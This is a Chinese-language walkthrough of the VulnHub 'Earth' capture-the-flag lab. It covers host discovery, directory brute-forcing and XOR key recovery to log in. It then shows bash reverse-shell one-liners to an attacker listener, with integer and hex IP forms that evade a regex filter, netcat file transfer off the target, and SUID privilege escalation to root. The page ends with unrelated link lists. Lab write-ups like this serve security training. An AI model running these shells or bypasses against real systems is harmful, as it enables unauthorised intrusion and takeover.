Vulnhub-earth
1.信息收集
1.1找到目标主机ip
vulnhub靶场通用的技巧 这里我们靶场是nat模式的 所以肯定就是在我们自己设置的一个网段范围内,我这里nat本机的地址是10.1.1.1
所处的网段就是10.1.1.0了
所以我们直接上工具扫 可以nmap 10.1.1.0/24
不过速度较慢 所以我们不推荐
这里可以用kali的 arp-scan (使用arp协议探测)

直接arp-scan l就行了

这里显然就是10.1.1.108
当然也可以用ping命令 或者goby等等 方法很多 根据情况来用
1.2nmap扫描目标
对目标主机进行全方位扫描
nmap -T4 -A 10.1.1.108

根据扫描信息我们可以知道
目标开启了 80/443/22端口
22端口ssh 是公私钥连接 所以无法爆破
利用ip分别访问80/443(https)端口


基本无果
这里先搁置,当然如果想继续的话可以指纹识别/后台爆破 这两种思路
仔细观察nmap扫描结果可以发现

有两条dns解析记录
在本地hosts文件中加入解析记录
vim /etc/hosts

然后分别访问 两个域名 (https)
逐一访问

这个看起来像个加密的东东
然后

1.3目录爆破
然后就是路径爆破,找找后台或者敏感信息泄露什么的
这里kali可以用自带的dirb

通过默认字典我们扫到了一些东西
对于admin后台 我们可以尝试暴力破解、SQL注入均无果
所以我们访问一下扫到的 robots.txt

自然的我们访问下最下面的这个文件
后缀名这里可以fuzz
最后测试出是txt文件

测试安全消息系统注意事项:
*使用XOR加密作为算法,在RSA中使用应该是安全的。
*地球已确认他们已收到我们发送的信息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将每月的密钥发送到地球? 或者我们应该每周更换钥匙?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长时间?
*需要改进消息界面和管理面板的界面,目前非常基础。
我的理解,总结一下就是y星人用xor加密传输数据,然后给了一个terra的管理账号 那肯定是要密码了,然后根据

刚开始有几条加密的数据 也就是异或后的数据 所以很自然我们选择用Previous Messages来对testdata.txt 进行xor运算 从而得到密钥
import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))
这个是网上的py脚本
这个脚本抄的 就不多解释了 然后快进到解出数据
- 解出是16进制的数据
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
- 转一下字符串

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat
都是一些重复的password
所以得到了一个高权限用户:
username:terra
password:earthclimatechangebad4humans
2.漏洞利用
然后转入我们之前扫到的登录界面进行登录:

登录之后是一个命令执行,简单执行几个命令


这里可以通过
find / -name "*flag*"
寻找flag,然后发现会一个user的flag和一个root的flag ,而我们需要查看root的flag 所以就有了下面的提权内容
2.1反弹shell
- 首先建立一个监听(这里端口设置为6666)
nc -lvvp 6666
- linux下利用bash反弹 shell
bash -i >&/dev/tcp/10.1.1.20/6666 0>&1

这里反弹shell的时候碰到了过滤条件,根据网上大佬的解析说是过滤了ip(正则方式),当然如果我们黑盒的话也可以fuzz出来
这里我直接放出源码,在/var/earth_web/secure_message/forms.py里面
当然我们本次的实验web也都能在/var/earth_web下找到

所以这里绕过方式简单举例两种:
- ip转int
bash -i >&/dev/tcp/167837972/6666 0>&1

- 16进制绕过
bash -i >&/dev/tcp/0x0a.0x01.0x01.0x14/6666 0>&1
- 一些其他思路:目标有python环境 绕过前端使用python的反弹shell
2.2提权
连接上shell

这里我们是apache用户 没有root权限 不能查看root目录下的flag
所以想办法提权
这里利用suid提权,首先查找具有root的s权限的命令
find / -perm -u=s -type f 2>/dev/null

没有网上已知的容易提权的命令 但是观察发现有一个reset_root命令,运行尝试一下
- ps:可以用strings命令查看一下/usr/bin/reset_root

CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

所以是运行的时候出错了?让我们debug一下?
利用nc把文件传到本地(因为我们要用strace命令调试,靶机中没有)
- 本地监听并且接收文件
nc -lvvp 1234>/tmp/reset_root_test
- 靶机发送文件
nc 10.1.1.20 1234</usr/bin/reset_root
然后本地打开调试,如果权限不够的话简单粗暴给个权限
chmod 777 /tmp/reset_root_test

简单调试命令执行过后发现是由于没有这三个文件夹然后报的错,简单在靶机中find后没发现,所以尝试在靶机中建立相应的文件

这里我选择了创建文件夹 理论上说创建文件也是可以的,然后再执行reset_root就发现重置了密码Earth
切换为root
su root

- 查看目录,得到flag
ls -al /root
cat /root/root_flag.txt

Vulnhub-earth的更多相关文章
- Vulnhub 之 Earth
靶机地址:https://www.vulnhub.com/entry/the-planets-earth,755/ Kali IP:192.168.56.104 下载OVA文件后,直接通过Virtua ...
- vulnhub靶场之THE PLANETS: EARTH
准备: 攻击机:虚拟机kali.本机win10. 靶机:THE PLANETS: EARTH,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnh ...
- Vulnhub - THE PLANETS: EARTH
环境配置 从www.vulnhub.com下载靶机,在VMware中导入,自动分配IP 主机发现 通过对内网主机的扫描,VMware为目标主机 端口扫描 使用nmap对主机进行扫描 发现443端口信息 ...
- ArcGIS Earth
恩,万众瞩目的ArcGIS Earth,现在华丽丽的可以在官网上下载了 满怀希望的心花怒放的我就去下载了...... 然后得然后...... 打开界面简洁的不要不要的,连个Esri的logo都没有.好 ...
- 看到shape文件可以加载到GOOGLE EARTH上的方法,有空可以试试
引用 Shape文件转为KMZ并在Google Earth中显示 (1)在ArcGIS中加载一个Shape文件,笔者加载的是某个地区的道路(双线道路)图层 (2)在ArcToolbox中,依次展开Co ...
- ArcGIS Earth数据小析
ArcGIS Earth,一款轻量级的三维地球应用.因为工作关系下载试用了半天,正好借这个机会简单研究一下ArcGIS Earth的大概思路,特别是地形数据的组成和影像数据的加载,在这总结整理一下.下 ...
- Google earth
装了Google earth之后,需要联网,才能放缩看不同精细程度的场景,除非你之前看过,在你自己的缓存中有存储. Google earth有自己的server,我们交互化的时候,server传数据给 ...
- The Earth Mover's Distance
The EMD is based on the minimal cost that must be paid to transform one distribution into the other. ...
- Earth Mover's Distance (EMD)
原文: http://d.hatena.ne.jp/aidiary/20120804/1344058475作者: sylvan5翻译: Myautsai和他的朋友们(Google Translate. ...
- Google map实现类似Google earth的图标展开功能
前言 在Google map的开发时,如果有多个图标重叠在一起,这时下面的图标就点击不到.而在Google Earth中,鼠标一移到上面就会自动弹开,这对于用户而言是十分人性化的一个功能.如下是在Go ...
随机推荐
- 数据结构:DHUOJ 删除链表的顺数及倒数第N个节点
删除链表的顺数及倒数第N个节点 作者: turbo时间限制: 1S章节: DS:数组和链表 题目描述: 可使用以下代码,完成其中的removeNth函数,其中形参head指向无头结点单链表,n为要删除 ...
- css流程图、步骤图,流程线与环节分别实现,支持单环节、多环节情况。scss生成CSS
适用于分步骤操作的页面导航图 实现结果如下 上图对应下述代码,稍作修改可以生成下图.css代码如下: @charset "UTF-8"; /**单列宽度 单行高度 列数 行数*/ ...
- android webview与jquery mobile相互通信
最近做android项目中遇到要在webview中做与js交互相关的东东,涉及到js中调用android本地的方法,于是查了资料整理了一下android和js互相调用的过程.如下demo,demo的主 ...
- 利用AudioContext来实现网易云音乐的鲸鱼音效
一直觉得网易云音乐的用户体验是很不错的,很早就注意到了里面的鲸鱼音效,如下图,就是一个环形的跟着音乐节拍跳动的特效. gif动图可能效果不太理想,可以直接在手机上体验 身为前端凭着本能的好奇心和探索心 ...
- 前端每日实战:144# 视频演示如何用 D3 和 GSAP 创作一个集体舞动画
效果预览 按下右侧的"点击预览"按钮可以在当前页面预览,点击链接可以全屏预览. https://codepen.io/comehope/pen/gdVObN 可交互视频 此视频是可 ...
- 小程序中webview内嵌h5页面
小程序内嵌h5页面跳转小程序指定页面, 需要引用 JSSDK: <script src="https://res.wx.qq.com/open/js/jweixin-1.3.2 ...
- ThinkCMF[仿骑呗共享单车官网]
学习Thinkcmf内容管理系统(Thinkphp3.2.3框架)时候,用来练手的,简单的模仿骑呗官网首页,并对后台管理做了点小修改. 安装: 下载地址:https://pan.baidu.com/s ...
- 帝国CMS批量提取正文内容到简介
最近接到一个帝国CMS模板改版项目,自带的数据可能是采集的,以前的简介字段内容只截取了60个字,新模板的简介60字符太少了,不美观,想让简介都截取200个字,怎么批量修改呢,文章太多了手动改肯定不行, ...
- Typora基本使用语法(超好用的代码编辑工具)
Typora代码编辑软件,一款适合新手小白的做笔记工具,操作简单,大家可以去试试......
- LAN交换机自学习算法
LAN交换机自学习算法 提示 第二层交完全忽略帧的数据部分协议,仅根据第二层以太网的MAC地址做出转发决策. MAC地址表有时又被称作内容可编址内存(CAM)表 检查源MAC地址 如果源MAC地址不存 ...